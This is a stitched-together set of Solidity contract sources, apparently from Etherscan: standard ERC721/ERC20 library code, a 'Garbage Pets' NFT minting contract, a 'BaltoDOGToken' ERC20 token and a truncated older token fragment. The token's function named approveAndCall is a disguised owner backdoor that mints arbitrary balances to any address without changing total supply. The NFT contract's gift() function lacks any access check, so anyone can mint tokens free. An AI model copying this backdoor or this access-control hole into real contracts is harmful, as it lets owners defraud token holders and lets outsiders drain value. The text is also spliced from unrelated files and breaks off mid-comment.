return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
contract Pets is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public noRevealedUri = "https://ipfs.io/ipfs/";
uint256 public cost = 0.04 ether;
uint256 public maxSupply = 6000;
uint256 public maxMintAmount = 10;
bool public paused = false;
bool public revealed = false;
uint256 totalGifted = 0;
uint256 maxGift = 500;
bool public lockedGift = false;
mapping(address => bool) public whitelisted;
constructor() ERC721("Garbage Pets", "GPETS") {
setBaseURI("https://garbagepets.io/");
mint(0x865a6b012baC4bDa367b117Cdc27d03F77AE2066, 1); // Mint for the contract owner
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public mint
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
if(whitelisted[msg.sender] != true) {
require(msg.value >= cost * _mintAmount);
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return noRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost ;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setRevealedState(bool _new) public onlyOwner{
revealed = _new;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function whitelistUser(address _user) public onlyOwner {
whitelisted[_user] = true;
}
function removeWhitelistUser(address _user) public onlyOwner {
whitelisted[_user] = false;
}
function setNoRevealedUri(string memory _newNoRevealedUri) public onlyOwner {
noRevealedUri = _newNoRevealedUri;
}
function setLockedGift(bool _new) public onlyOwner{
lockedGift = _new;
}
function setMaxGift(uint256 _new) public onlyOwner{
maxGift = _new;
}
function gift(address _to, uint256 _mintAmount) public payable {
require(!lockedGift);
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
require(totalGifted + _mintAmount <= maxGift);
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
totalGifted = totalGifted + 1;
}
}
function gifted() public view returns (uint256) {
return totalGifted;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
/**
* @title StandardERC20
* @dev Implementation of the StandardERC20
*/
contract BaltoDOGToken is ERC20Decimals{
address public owner;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initialBalance_
) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) {
require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");
_totalSupply = initialBalance_*10**decimals_;
owner = msg.sender;
_balances[owner]=_totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return super.decimals();
}
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {_balances[spender] += addedValue*(10**decimals());}
return true;
}
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pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
